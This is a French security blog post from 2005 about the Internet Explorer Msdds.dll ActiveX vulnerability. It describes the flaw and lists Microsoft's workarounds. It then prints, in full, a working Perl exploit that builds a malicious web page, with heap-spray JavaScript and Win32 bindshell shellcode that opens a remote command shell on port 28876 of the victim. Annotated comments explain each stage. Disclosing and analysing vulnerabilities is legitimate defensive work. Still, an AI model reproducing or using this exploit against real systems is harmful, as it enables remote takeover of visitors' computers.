Un nouvel exploit concernant Internet Explorer vient d'etre publié sur le net.

20.08.2005

Description de la vulnérabilité :

Le probleme est présent dans l'objet activeX Msdds.dll. Cette vulnérabilité peut être exploité via Internet Explorer. Elle permet d'executer le code de son choix dans une machine distante, note : Msdds.dll est installé avec MS Office et MS Visual Studio.
Le pirate prepare une page web piégé qui lorsque elle sera chargé par Internet explorer exploitera la vulnérabilité présente dans l'objet COM (CLSID: EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F). Les versions vulnérables de la DLL Msdds.dll sont 7.0.9064.9112 et 7.0.9446.0. Les versions 7.0.9955.0 et 7.10.3077.0 et supérieures ne sont pas affectés.
Cette vulnérabilité est très semblable a celle concernant javaprxy.dll découverte quelque temps plus tôt.

Workaround, comment protéger votre système.

Microsoft propose plusieurs solutions pour se protéger :

   - Régler (dans IE) les zones de sécurité Internet et intranet Intranet sur élevé pour être averti lors de l'execution d'activeX.

   - Régler IE pour être averti lors de l'execution d'activeX.

   - Empêcher l'objet COM MS DDS Library Shape Control (Msdds.dll) d'être executé par Internet explorer

   - désactiver l'objet COM Msdds.dll

   - Modifier les droits d'accès sur Msdds.dll pour être plus restrictif.

Plus de détail sur ces méthodes sur le site de Microsoft à l'adresse : http://www.microsoft.com/technet/security/advisory/906267.mspx

Personnellement je conseille de désactiver tous les activeX, depuis qu'ils existent, ils sont sources de failles.
Ou bien utiliser un navigateur internet qui n'utilise pas les activeX (Mozilla Firefox par exemple) et réserver l'usage de Internet Explorer a des sites de confiance.

Détail de l'exploit :

#!/usr/bin/perl
#######################################################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
#######################################################
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2, 1991 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
#######################################################

# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";

# Ci-dessous le code qui sera executé dans la machine vulnérable. Il s'agit d'un shellcode directement executable par le processeur. Ce code une fois executé permettra de ce connecter sur la cible via le port 28876 pour avoir accès a une console de commande en ligne.

# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

# ci-dessous le code permettant l'injection du shellcode précedant dans le processeur.

# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<700;i++) memory[i] = block + shellcode;\n".
"</SCRIPT>\n";

# Le clsid de la DLL vulnérable.

# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';

# La génération de la page web piégé.

# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";

# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";

Vous pourrez retrouver le code de cet exploit sur le net, alors attention.